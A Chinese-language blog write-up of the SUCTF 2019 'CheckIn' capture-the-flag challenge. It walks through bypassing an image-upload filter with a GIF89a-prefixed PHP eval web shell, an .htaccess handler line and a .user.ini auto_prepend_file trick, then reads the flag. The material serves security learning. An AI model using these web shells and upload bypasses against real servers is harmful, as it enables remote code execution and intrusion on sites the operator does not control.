跳到主要内容

SUCTF_2019 CheckIn


已读 0%
本篇目录
阅读设置
正文字号
18

设置仅保存在当前浏览器。

[SUCTF 2019]CheckIn

尝试提交cVvgMt.png

illegal suffix

尝试修改后缀和Content-Type字段,还是不合法

修改后缀为jpg,再次上传

cVvrPH.png

不能有<?,修改文件内容

<script language="php">@eval($_POST['cmd']);</script>

cVxVoD.png

exif_imagetype函数

在头部加个图片幻数

GIF89a
<script language="php">@eval($_POST['cmd']);</script>

cVxYFg.png

访问图片,确实成功了

cVx5m6.png

成功,但是要连接需要把它解释为php文件

上传.htaccess文件

AddHandler application/x-httpd-php .jpg

上面是 Apache 配置语法示意;如果为绕过图片校验而在 .htaccess 中直接加上裸的 GIF89a,Apache 会把它当作未知指令,可能返回500。

cVxLpd.png

这次连接没有成功。除了中间件差异,还应检查 .htaccess 语法、处理器模块和 AllowOverride 配置。

可以改用上传.user.ini文件。这里依赖题目所用的旧版 PHP 与 CGI/FastCGI 环境;<script language="php"> 和 asp_tags 这类旧语法在 PHP 7 中已移除,不能照搬到当前 PHP。

使用条件

上传马的文件夹有php文件

原理:PHP 的 CGI/FastCGI 模式会按配置搜索 .user.ini。访问同目录可执行的 PHP 入口时,auto_prepend_file=2.jpg 使 PHP 在入口脚本之前包含这个文件;直接访问 jpg 本身并不会因此自动执行 PHP。Apache 的扩展名处理器配置还依赖模块和 AllowOverride,不能仅凭 .htaccess 上传失败判断中间件类型。

GIF89a
auto_prepend_file=2.jpg

如果前面的马写的是
GIF89a
<% @eval($_POST['cmd']); %>
则加一行
GIF89a
auto_prepend_file=2.jpg
asp_tags=on

cVxz0f.png

连接

cVz9AS.png

成功,在根目录找到flag


文章作者: 0xdadream
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 0xdadream !
赏
评论

评论将在接近此处时加载,也可点击立即加载。

  目录